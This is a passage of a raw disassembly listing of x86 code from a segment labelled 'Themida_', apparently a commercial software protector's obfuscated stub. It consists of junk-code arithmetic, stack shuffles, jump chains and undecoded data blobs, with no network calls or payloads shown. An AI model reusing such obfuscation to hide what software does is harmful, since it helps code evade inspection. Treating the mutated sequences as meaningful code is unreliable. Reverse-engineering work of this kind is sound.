		mov	[esp], eax
		mov	eax, 334F6Fh
		inc	eax
		xor	eax, 0FB30341h
		not	eax
		shr	eax, 7
		dec	eax
		neg	eax
		xor	eax, 0FDDD487Ah
		push	eax
		pop	ebx
		jmp	loc_55BF37
; ---------------------------------------------------------------------------
		dd 82AB2D5Eh, 0C2E94A16h, 8300007Eh, 248904ECh,	24048324h
		dd 24048F04h, 29685153h, 59657678h, 0E907E9C1h,	9886h
		dd 1C8BD830h, 0E6895624h, 0AA33E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A2F5:				; CODE XREF: Themida_:0055D204j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55767A
; ---------------------------------------------------------------------------


loc_55A304:				; CODE XREF: Themida_:0055C84Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_559DAE
; ---------------------------------------------------------------------------
		db 81h
		dd 0A10A62C1h, 81C12930h, 0A10A62E9h, 0C5815830h, 1B6503Eh
		dd 3E9CD01h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A33F:				; CODE XREF: Themida_:0055C047j
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_5512DF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 4C281h, 0C2830000h, 78C3E904h, 0CE810000h
		dd 63EB2B8Dh, 61DCB951h, 50E90FC8h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A36F:				; CODE XREF: Themida_:0055948Fj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		sub	dword ptr [esp], 5C911B0Fh
		pop	eax
		add	eax, 5C911B0Fh
		mov	edx, [esp]
		add	esp, 4
		and	ebx, eax
		pop	eax
		or	ebx, ebx
		jnz	loc_552769
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_553F96
; ---------------------------------------------------------------------------


loc_55A3A3:				; CODE XREF: Themida_:005594E6j
		or	ebx, 59A459A6h
		shl	ebx, 6
		sub	ebx, 2B671F1h
		jmp	loc_557A40
; ---------------------------------------------------------------------------


loc_55A3B7:				; CODE XREF: Themida_:0055B925j
		add	esi, 0F15044Fh
		add	esi, ebp
		sub	esi, 0F15044Fh
		pop	ebp
		sub	eax, 3F02F7Ah
		add	eax, esi
		add	eax, 3F02F7Ah
		mov	esi, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFEBFBE9h, 240C33FFh, 33240C31h, 248B240Ch,	0E7816624h
		dd 56662AF9h, 0FFBA0AE9h, 77BFBAFFh, 0D1293FD0h, 59D8685Ah
		dd 34890000h, 0E7895724h, 0FFB039E9h, 450835FFh, 0D8F70935h
		dd 358DE205h, 0ADABE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A43A:				; CODE XREF: Themida_:00552626j
		mov	ecx, 0E42ADE3Eh
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_561BFF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF63A2h, 240C8B66h, 0BEA1E957h, 815EFFFFh, 26042444h
		dd 2977C828h, 81042444h, 2604246Ch, 8B77C828h, 89502404h
		dd 4AE951E0h, 81000007h, 24FFB2E9h, 0FFC801C6h,	0C8B2434h
		dd 4C48324h, 4C481h, 68E90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A493:				; CODE XREF: Themida_:0055ACEDj
		mov	[esp], esi
		mov	esi, esp
		push	3DD8h
		mov	[esp], ecx
		jmp	loc_55A717
; ---------------------------------------------------------------------------
		db 5Dh,	0FFh, 34h
		dd 0C4815B24h, 4, 3B7DE9h, 24248B00h, 0B968D231h, 89000007h
		dd 4868241Ch, 89000016h, 8952242Ch, 4C281E2h, 83000000h
		dd 148704EAh, 14895C24h, 175CE924h, 15E0000h, 54EB81F3h
		dd 55595029h, 0E838F4BDh, 89D1E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4F6:				; CODE XREF: Themida_:0055B7D0j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 75D3E961h, 4705FFFFh, 481F4508h, 7529E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A50D:				; CODE XREF: Themida_:005573A5j
		sub	al, ch
		jmp	loc_555885
; ---------------------------------------------------------------------------


loc_55A514:				; CODE XREF: Themida_:00564B30j
		mov	[esp], eax
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
a34SM		db '34$`',0
		align 4
		dd 0FB21E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A52A:				; CODE XREF: Themida_:00551E01j
		push	3980h
		mov	[esp], eax
		mov	eax, 24h
		jmp	loc_555447
; ---------------------------------------------------------------------------
		dd 381584BFh, 4815751h,	0A70E0424h, 0E9815967h,	67A70E04h
		dd 1969E9h, 78C38000h, 7DC8E9h,	0EC815000h, 4, 0BB241C89h
		dd 3A1A7EA8h, 2D5BD889h, 33E797Ch, 0F7D8F740h, 0F3902DD0h
		dd 0C209F80Eh, 53C4E958h, 68530000h, 3FC55311h,	0FFCCB1E9h
		dd 6A9BEFFh, 0D8E97688h, 8BFFFF7Bh, 0D9E9243Ch,	0B8FFFF95h
		dd 1F932E09h, 57FFC083h, 1BFh, 9127E900h, 2489FFFFh, 24048324h
		dd 24048F04h, 628868h, 242C8900h, 6523BF57h, 97E97CCCh
		dd 0B5FFFF77h, 70ED8055h, 0C8BEB28h, 4C48124h, 50000000h
		dd 0E4C039B4h, 6C5CE905h, 8B660000h, 68552404h,	44DBh
		dd 83242489h, 5D042404h, 4C581h, 0ED810000h, 4,	5C242C87h
		dd 54240C89h, 53240C8Bh, 8C74E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A61D:				; CODE XREF: Themida_:0055B05Bj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_554039
; ---------------------------------------------------------------------------
		db 66h
		dd 81241C8Bh, 2C4h, 24043000h, 30240432h, 0A3E92404h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A64B:				; CODE XREF: Themida_:00563E1Dj
		push	edi
		mov	edi, 6A2F428Eh
		inc	edi
		neg	edi
		add	edi, 78435A1Dh
		xor	edi, 3D9A2E35h
		sub	eax, 7B2307CAh
		add	eax, edi
		jmp	loc_560D19
; ---------------------------------------------------------------------------
		dd 6624248Bh, 2404AB0Fh, 6174E99Ch, 34FFFFFFh, 0D03FE924h
		dd 0D921FFFFh, 2D72E9h,	7E1F6800h, 1C890000h, 0CE95024h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A697:				; CODE XREF: Themida_:0055831Aj
		pop	esp
		mov	[esp], edx
		jmp	loc_563934
; ---------------------------------------------------------------------------
		dd 0FFFFEB81h, 3568FFFFh, 8900006Fh, 0DA68242Ch, 0E91E3B03h
		dd 0FFFF97A1h, 99BF5756h, 0BE769729h, 0FA68405Ch, 565FFE01h
		dd 0EC815E5Dh, 4, 0E9241489h, 8791h, 4EC81h, 3C890000h
		dd 6F3EBF24h, 0EAE922F8h, 81FFFF9Eh, 0DB5AE0C6h, 0E2895275h
		dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 5D2434FFh
		dd 5E04C483h, 34FFEE01h, 0A9E95D24h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A717:				; CODE XREF: Themida_:0055A4A0j
		push	esi
		push	560D0EC0h
		pop	esi
		dec	esi
		jmp	loc_55FF96
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 81E78957h, 4C7h, 4C78300h, 8B243C87h, 0C6812424h
		dd 4, 0FFD98DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A745:				; CODE XREF: Themida_:0055CA9Bj
		mov	esp, [esp]
		push	edi
		jmp	loc_562617
; ---------------------------------------------------------------------------
		dw 0ED83h
		dd 242C8704h, 0FF7502E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A759:				; CODE XREF: Themida_:0055DE5Ej
		pop	dword ptr [esp]
		pop	eax
		push	69Bh
		mov	[esp], ebx
		push	47Dh
		mov	[esp], edi
		mov	edi, 1
		push	edi
		push	3234h
		mov	[esp], eax
		mov	eax, 21073AC6h
		jmp	loc_55ED9A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aYhF		db 'Yh=f',0
		align 2
		dw 0C89h
		dd 241C8724h, 0EC81D3F7h, 4, 0FF241C89h, 8B042474h, 71E9241Ch
		dd 80000090h, 0DE927F5h, 53FFFFF6h, 0E927B551h,	4910h
		dd 5204C283h, 42474FFh,	5A2434FFh, 8F04C483h, 4EE92404h
		dd 0F7000099h, 3DCA81D2h, 0E951020Dh, 0FFFFBB00h, 4C481h
		dd 69E90000h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A7EB:				; CODE XREF: Themida_:0055CBEDj
		push	5853h
		mov	[esp], ebp
		mov	ebp, 73C84973h
		inc	ebp
		shl	ebp, 5
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1BA2745Dh
		jmp	loc_55EB67
; ---------------------------------------------------------------------------
		dd 2924248Bh, 0FF04246Ch, 835D2434h, 2C8104C4h,	13D6B24h
		dd 24040106h, 3D6BBA52h, 54010601h, 575A0424h, 206E05BFh
		dd 246C8152h, 98338204h, 0C855E932h, 0DBF7FFFFh, 3CA1F381h
		dd 0C381610Eh, 0AFEB969Fh, 315BDA01h, 0EC815AD1h, 4, 958BE9h
		dd 0E9F9F600h, 0AB3h, 0C380C328h, 0B60F5881h, 148B66C0h
		dd 5A545224h, 8904EC83h, 3CE9242Ch, 83FFFF69h, 93E904ECh
		dd 83FFFFBEh, 0E5C104C4h, 6FED8102h, 0C1347E03h, 0F74D03E5h
		dd 932BE9D5h, 51520000h, 0CB51D8B9h, 32BDE94Bh,	0E9570000h
		dd 127Ah
; ---------------------------------------------------------------------------


loc_55A8B4:				; CODE XREF: Themida_:0055E17Cj
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ebp
		push	esi
		mov	esi, 5FC76911h
		shl	esi, 5
		add	esi, 3F3C4E06h
		sub	esi, 16686450h
		jmp	loc_550A59
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0B3AD1B12h, 0B3E9F029h, 0AD000096h, 1CC8E9h,	49E95700h
		dd 29FFFFFCh, 780CE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A8FA:				; CODE XREF: Themida_:0055B45Fj
		mov	ebp, esp
		push	4B05h
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5518DC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6AE56800h, 0E6E90000h,	66FFFFB5h, 6658C668h, 0B6241489h
		dd 732AE99Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A93A:				; CODE XREF: Themida_:0055D95Cj
		dec	eax
		neg	eax
		sub	eax, 43F70C54h
		or	eax, 3C51243Fh
		dec	eax
		xor	eax, 3E57FF7Ah
		sub	ebp, eax
		pop	eax
		xor	ebp, [esp]
		jmp	loc_563884
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 89560000h, 4C681E6h, 0E9000000h
		dd 616Dh, 81E28952h, 4C2h, 0D856E900h, 685AFFFFh, 4156h
		dd 0E9240489h, 3903h, 4B8h, 58C60100h, 5627E9h,	2434FF00h
		dd 4C4815Eh, 0E9000000h, 0E8h, 0CB42A435h, 8BC18969h, 0C4832404h
		dd 0E9C80104h, 78E0h, 4303BB53h, 0E3C14AE1h, 45F38102h
		dd 0E914301Fh, 76BEh, 4C481h, 61E90000h, 0B9000013h, 46687AA2h
		dd 8959CA89h, 2434FFD5h, 4C4815Ah, 0C1000000h, 0CD8108E5h
		dd 0C027A39h, 6B03CD81h, 88E92F83h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA03:				; CODE XREF: Themida_:0055DA10j
		push	ebp
		push	edx
		mov	edx, 5A4B3CC9h
		jmp	loc_55F862
; ---------------------------------------------------------------------------
		db 55h
		dd 597FE1BDh, 0BFFE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA1A:				; CODE XREF: Themida_:005595E0j
		push	6FCEh
		jmp	loc_55F063
; ---------------------------------------------------------------------------
		dd 19E9D831h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA2B:				; CODE XREF: Themida_:0055E776j
		sub	edi, 4F517CEDh
		push	eax
		mov	eax, 34EE23C5h
		sub	edi, eax
		pop	eax
		add	edi, esi
		add	edi, 34EE23C5h
		push	eax
		push	edi
		mov	edi, 1ECA7CFBh
		not	edi
		neg	edi
		xor	edi, 6ECE041Fh
		or	edi, 5A0C44ADh
		shl	edi, 7
		jmp	loc_5560EB
; ---------------------------------------------------------------------------
		db 0FEh, 0C5h, 0E9h
		dd 0FFFFA421h, 0A096851h, 0E959685Bh, 35F9h, 80ECE580h
		dd 0EB0022C5h, 7FA4E959h, 0B951FFFFh, 7A023BFCh, 0E9CD8955h
		dd 2A10h, 8F66C331h, 5D54E900h,	0E689FFFFh, 4C681h, 0EE810000h
		dd 4, 5C243487h, 54243489h, 4C6815Eh, 0E9000000h, 0FFFFB6BFh
		dd 53516659h, 0B7DAB551h, 0D05CE930h, 0E181FFFFh, 4A8A655Ah
		dd 8101C183h, 0A12B14C1h, 0D1E98134h, 31FDC731h, 240C8BCEh
		dd 0FF7EA4E9h, 4C483FFh, 2675E9h, 0D5F74500h, 5F86BB53h
		dd 2CE97AFDh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAFF:				; CODE XREF: Themida_:00561D7Cj
		sub	esp, 4
		mov	[esp], eax
		mov	al, 46h
		sub	bl, 60h
		sub	bl, 0C0h
		sub	bl, al
		jmp	loc_55CF18
; ---------------------------------------------------------------------------
aLRP0tx		db '$$RP0X',0
		dd 2434FFD3h, 0FFB894E9h, 4335BFFh, 778AE924h, 0C481FFFFh
		dd 4, 5C24048Fh, 242C3166h, 242C3366h, 9556E9h,	7EE95B00h
		dd 5AFFFF72h, 10BFCA81h, 0EAC1137Ah, 1527E907h,	1FBF0000h
		dd 8116767Eh, 0BD68EAF7h, 0C3F7810Ah, 81494F42h, 0DA7D5BCFh
		dd 0D6F78174h, 0E945C90Bh, 299Ah, 5604EE83h, 42474FFh
		dd 24048F5Eh, 8924248Bh, 0EC83240Ch, 48F5404h, 24048324h
		dd 84D1E904h, 34890000h, 895AE924h, 0C181FFFFh,	62356616h
		dd 57E868h, 24148900h, 0FF5F28E9h, 4B9FFh, 0C8010000h
		dd 0C97E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ABCD:				; CODE XREF: Themida_:00565192j
		mov	esp, [esp]
		xor	ebx, 0DD01C2E7h
		jmp	loc_5640D0
; ---------------------------------------------------------------------------


loc_55ABDB:				; CODE XREF: Themida_:0055B14Bj
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55AC07
; ---------------------------------------------------------------------------
		dw 0C89h
aHI		db '$h]i',0
		align 2
		dw 19E9h
		dd 29FFFFEAh, 40692DF8h, 15F0D37h, 0A9E952F8h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC07:				; CODE XREF: Themida_:0055ABE5j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_563508
; ---------------------------------------------------------------------------


loc_55AC10:				; CODE XREF: Themida_:00554F53j
		add	edi, 48B376E7h
		neg	edi
		sub	edi, 62174550h
		xor	edi, 959E808Eh
		add	esi, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, esi
		pop	esi
		push	0DA7h
		mov	[esp], edx
		push	edi
		push	20B0206Dh
		pop	edi
		dec	edi
		push	ebp
		mov	ebp, 73AB02C6h
		and	edi, ebp
		pop	ebp
		jmp	loc_5554A0
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 89000076h, 42E9241Ch, 83000000h, 0C8704C4h, 24248B24h
		dd 30FFC331h, 0FF5B7DE9h, 58C631FFh, 0E9D68746h, 148Dh
		dd 65C5BE56h, 0EEC15772h, 0FFBF5705h, 29FFFFFFh, 0F6815FFEh
		dd 1AC2AC19h, 8CC9E9h, 5EF70100h, 0FFE685E9h, 4BBFFh, 0DE010000h
		dd 4B8505Bh, 51000000h,	0D03F68B9h, 59CE0129h, 3875E9h
		dd 71BB5300h, 8158E138h, 7F18B0EBh, 3802E9DAh, 8B660000h
		dd 8956240Ch, 4C681E6h,	83000000h, 22E904EEh
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55ACE3:				; CODE XREF: Themida_:00563A3Fj
		pop	ebp
		push	esi
		mov	edi, [esp]
		push	2FC3h
		jmp	loc_55A493
; ---------------------------------------------------------------------------
		dw 52ADh
		dd 123B71BAh, 0E9D02930h, 0FFFF8304h
; ---------------------------------------------------------------------------


loc_55AD00:				; CODE XREF: Themida_:005534F9j
		push	eax
		push	edx
		push	ebx
		mov	ebx, 683356A6h
		mov	edx, 635A7935h
		jmp	loc_55533F
; ---------------------------------------------------------------------------
		dw 0B068h
		dd 8900000Ah, 58542404h, 460A6853h, 3C890000h, 3E88BF24h
		dd 815745E0h, 1F982434h, 0E95B26E7h, 448Fh, 89243489h
		dd 4C681E6h, 0E9000000h, 0FFFF82C9h
; ---------------------------------------------------------------------------


loc_55AD48:				; CODE XREF: Themida_:005587A7j
		push	1ED0h
		mov	[esp], edi
		jmp	loc_552490
; ---------------------------------------------------------------------------


loc_55AD55:				; CODE XREF: Themida_:0055273Bj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_563A9A
; ---------------------------------------------------------------------------
		dd 7878C781h, 815E53A5h, 4ECh, 52F3E900h, 34FF0000h, 24048B24h
		dd 5504C483h, 4136E9h, 3771BD00h, 6C010B38h, 5A5D0424h
		dd 3771BD55h, 0EA290B38h, 648BE95Dh, 0C4FEFFFFh, 0DCF6CCFEh
		dd 8871EC80h, 0E5C058E5h, 70E58007h, 85EEE9h, 48B6600h
		dd 0BAE95024h, 0BBFFFFB1h, 4, 515BD901h, 42474FFh, 0FF8D65E9h
		dd 35BE68FFh, 0C3E90000h, 5FFFFFE8h, 0EA81CA01h, 49561A2Dh
		dd 592434FFh, 505A5452h, 4B8h, 58C20100h, 4C281h, 14870000h
		dd 0E9555C24h, 0FFFFF77Eh, 19EDB850h, 0C32161FCh, 0B3CB8158h
		dd 817BBB05h, 440F8FC3h, 9366E94Ah, 348B0000h, 0FA61E924h
		dd 6664FFFFh, 6852028Bh, 22A0h,	83242489h, 0FF042404h
		dd 835A2434h, 0B85004C4h, 4, 5758C201h,	6BEE68h, 0F1EDE900h
		dd 0BB53FFFFh, 0BA1FC173h, 315BDE89h, 70E95EF3h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE67:				; CODE XREF: Themida_:005518E1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		push	eax
		mov	eax, 0EC46784h
		xor	[esp+4], eax
		pop	eax
		pop	ecx
		push	ebx
		mov	ebx, 0EC46784h
		xor	ecx, ebx
		pop	ebx
		pop	ebp
		push	eax
		mov	eax, ecx
		mov	edx, eax
		pop	eax
		mov	ecx, [esp]
		jmp	loc_55CA11
; ---------------------------------------------------------------------------
		dw 1489h
		dd 68E28924h, 25F8h, 52240489h,	0E5484ABAh, 0FFD0893Ch
		dd 815A2434h, 4C4h, 52484000h, 0E54846BAh, 0E9D0293Ch
		dd 0FFFF662Eh
; ---------------------------------------------------------------------------


loc_55AEC0:				; CODE XREF: Themida_:00561499j
		add	eax, 4
		jmp	loc_555065
; ---------------------------------------------------------------------------
		dw 5F68h
		dd 89000002h, 6FBF243Ch, 53629D0Fh, 7CFB68h, 24148900h
		dd 0DF47C568h, 685A13h,	29000000h, 0F75A2414h, 4CF281DAh
		dd 89232605h, 0DF215AD3h, 685Bh, 3C290000h, 2434FF24h
		dd 0E9243C8Bh, 0FFFFA1C0h, 525DEA01h, 42474FFh,	0D8A0E95Ah
		dd 515BFFFFh, 5B242C81h, 5E236F29h, 295BC681h, 34FF236Fh
		dd 0C4835924h, 24778904h, 8B2434FFh, 0C4832434h, 0E9545704h
		dd 0FFFFE2E9h
; ---------------------------------------------------------------------------


loc_55AF48:				; CODE XREF: Themida_:00565176j
		push	ebx
		mov	bl, 3Eh
		sub	dh, bl
		pop	ebx
		add	bl, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_561D7A
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 24248B24h, 240CD366h, 5880E99Ch, 0E981FFFFh,	11955AD1h
		dd 72EBC181h, 4EE93AB7h, 83000048h, 0E95304EBh,	2731h
; ---------------------------------------------------------------------------


loc_55AF88:				; CODE XREF: Themida_:0055DE78j
		xor	eax, ebx
		jmp	loc_55391E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1F8F68h, 241C8900h, 4BBh, 0D7C68100h, 106F825h, 0D7EE81DEh
		dd 5B06F825h, 5C243487h, 0FF7D23E9h, 13C381FFh,	8B1E603Fh
		dd 0C481240Ch, 4, 48133FFh, 63288224h, 21E95844h, 8100002Dh
		dd 4C4h, 29FEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AFDE:				; CODE XREF: Themida_:00552E2Cj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55FF55
; ---------------------------------------------------------------------------


loc_55AFF4:				; CODE XREF: Themida_:00553FF3j
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B30B
; ---------------------------------------------------------------------------
		dd 15DE801h, 356857D8h,	89000078h, 65BB241Ch, 813DA41Ch
		dd 751992EBh, 0E9DF89FAh, 9E49h, 57F28966h, 0E9D78966h
		dd 4967h, 742CE981h, 0F1295BB7h, 742CC181h, 15E5BB7h, 4EE959CFh
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B057:				; CODE XREF: Themida_:00552313j
		and	cl, ah
		pop	eax
		push	ebp
		jmp	loc_55A61D
; ---------------------------------------------------------------------------
		dd 0EA6853ACh, 89000006h, 5352240Ch, 0DA887BB3h, 0FF7235E9h
		dd 241487FFh, 0E924248Bh, 491Ah, 53F1015Eh, 0E74D88BBh
		dd 0C1DBF74Ah, 0CB8105EBh, 3CB205D2h, 0E826F381h, 0E0E94D73h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B09F:				; CODE XREF: Themida_:0055C65Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55B5B1
; ---------------------------------------------------------------------------


loc_55B0AE:				; CODE XREF: Themida_:0055BF99j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		jmp	loc_552FCE
; ---------------------------------------------------------------------------
		db 68h
		dd 3B87h, 0B9240C89h, 4, 8759CB01h, 555C241Ch, 1AFBF57h
		dd 0E7C17656h, 87BA5206h, 81322F76h, 175A56C2h,	3EAC17Fh
		dd 0C281DAF7h, 1439104Fh, 0B3685756h, 5F30CA10h, 379AC781h
		dd 7FE9083Ch, 0BB00003Dh, 717D11DCh, 815BD931h,	26514CEDh
		dd 81CD012Eh, 26514CC5h, 2C33592Eh, 242C3124h, 0E9242C33h
		dd 67EBh
; ---------------------------------------------------------------------------


loc_55B130:				; CODE XREF: Themida_:00556906j
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 15141759h
		add	ebp, 0EAEBE8ABh
		add	edi, ebp
		jmp	loc_55ABDB
; ---------------------------------------------------------------------------


loc_55B150:				; CODE XREF: Themida_:00553203j
		xor	bl, al
		jmp	loc_562BC2
; ---------------------------------------------------------------------------
		db 89h
		dd 0C78159CFh, 0FFB0320h, 0FFE6B0E9h, 240C87FFh, 5124248Bh
		dd 0C1815954h, 4, 8704E983h, 0E95C240Ch, 0FFFF7EA1h
; ---------------------------------------------------------------------------


loc_55B180:				; CODE XREF: Themida_:00554882j
		sub	esi, eax
		pop	eax
		shl	esi, 5
		shr	esi, 4
		push	edx
		jmp	loc_556263
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 0E904C783h, 554Bh, 24048B66h,	1DD36856h
		dd 24890000h, 24048324h, 24348B04h, 6804C483h, 3EB0h, 68241C89h
		dd 4FB2h, 0E9241489h, 2CCh, 0A586C581h,	0EB89E63Dh, 1C7E9h
		dd 32FF6400h, 8ABE9h, 243C8B00h, 104C483h, 0F5ED81F5h
		dd 0FF47ED5Bh, 835E2434h, 2C8704C4h, 61E2E924h,	0C890000h
		dd 0D03DB924h, 0CE01B570h, 5EF53159h, 295DEE89h, 0FF505EF0h
		dd 58042474h, 8B24048Fh, 89662424h, 50662414h, 55C4E99Ch
		dd 7B68FFFFh, 8900002Ah, 0B82404h, 68000000h, 0B02h, 81240489h
		dd 1DDB2434h, 5CE979F4h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B24B:				; CODE XREF: Themida_:005608CAj
		pop	esi
		add	esi, 4
		jmp	loc_564C0E
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0E95DE901h, 62FBh
; ---------------------------------------------------------------------------


loc_55B264:				; CODE XREF: Themida_:005623C7j
		add	edx, ecx
		sub	edx, 2C6B4D65h
		jmp	loc_55343C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 8FDAh, 5624148Bh, 0E7E95E54h
		dd 5EFFFFDAh, 31241C33h, 1C33241Ch, 977FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B29A:				; CODE XREF: Themida_:00560465j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5511FF
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 64F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B2B5:				; CODE XREF: Themida_:0055E132j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55B3C3
; ---------------------------------------------------------------------------


loc_55B2C3:				; CODE XREF: Themida_:005520D0j
		sub	ecx, ebp
		jmp	loc_5654A2
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 69F9187Bh, 3159CE01h, 0F6BFE9F0h, 3433FFFFh,	9870E924h
		dd 0AF680000h, 89000049h, 4812424h, 424h, 0C7815F00h, 4
		dd 0E904EC83h, 0FFFFBB2Dh, 4C481h, 5CE90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B30B:				; CODE XREF: Themida_:0055B00Fj
		mov	[esp], ebp
		jmp	loc_5511E8
; ---------------------------------------------------------------------------
		db 83h
		dd 7CE904C4h, 66FFFFD2h, 66CCB60Fh, 66383668h, 66240C89h
		dd 0E9C8B60Fh, 0A055h, 0BB53FA29h, 483752CDh, 0E95BDA01h
		dd 0FFFFB52Fh, 4C381h, 0FF530000h, 5B042474h, 0FF7B18E9h
		dd 4EC81FFh, 89000000h,	6FE92434h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B35F:				; CODE XREF: Themida_:005511A0j
		pop	esp
		push	32DAh
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		push	esi
		mov	esi, 7B421237h
		mov	edi, 7B421233h
		xor	edi, esi
		pop	esi
		jmp	loc_55CAD3
; ---------------------------------------------------------------------------
		dw 5859h
		dd 0E902C383h, 1335h, 791168h, 24148900h, 8904EC83h, 29BB241Ch
		dd 0E92BDA38h, 9FBh, 81242C8Bh,	4C4h, 9BC28100h, 0E962541Ah
		dd 792Fh
; ---------------------------------------------------------------------------


loc_55B3B4:				; CODE XREF: Themida_:0055F8ECj
		mov	al, 79h
		push	eax
		mov	ah, 88h
		neg	ah
		and	ah, 3
		jmp	loc_563C58
; ---------------------------------------------------------------------------


loc_55B3C3:				; CODE XREF: Themida_:0055B2BEj
		mov	eax, 2E5B6356h
		xor	eax, 7C963B1h
		push	ecx
		mov	ecx, 7C70069Bh
		add	eax, ecx
		pop	ecx
		jmp	loc_554096
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 0FFA8DCE9h, 0E95F58FFh, 0FFFFBFAEh, 0C3815B54h
		dd 4, 0FF878EE9h, 24048FFFh, 0FFAEFCE9h, 48151FFh, 0A344C324h
		dd 0C32D5877h, 0FF77A344h, 81592434h, 4C4h, 4B16E900h
		dd 922D0000h, 5B26FC30h, 1C6468h, 75A4E900h, 5257FFFFh
		dd 8EE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B439:				; CODE XREF: Themida_:00553483j
		push	ebx
		mov	ebx, esp
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 59DD61F6h
		shr	edx, 1
		shr	edx, 1
		sub	edx, 76CC0043h
		push	edx
		jmp	loc_552CE8
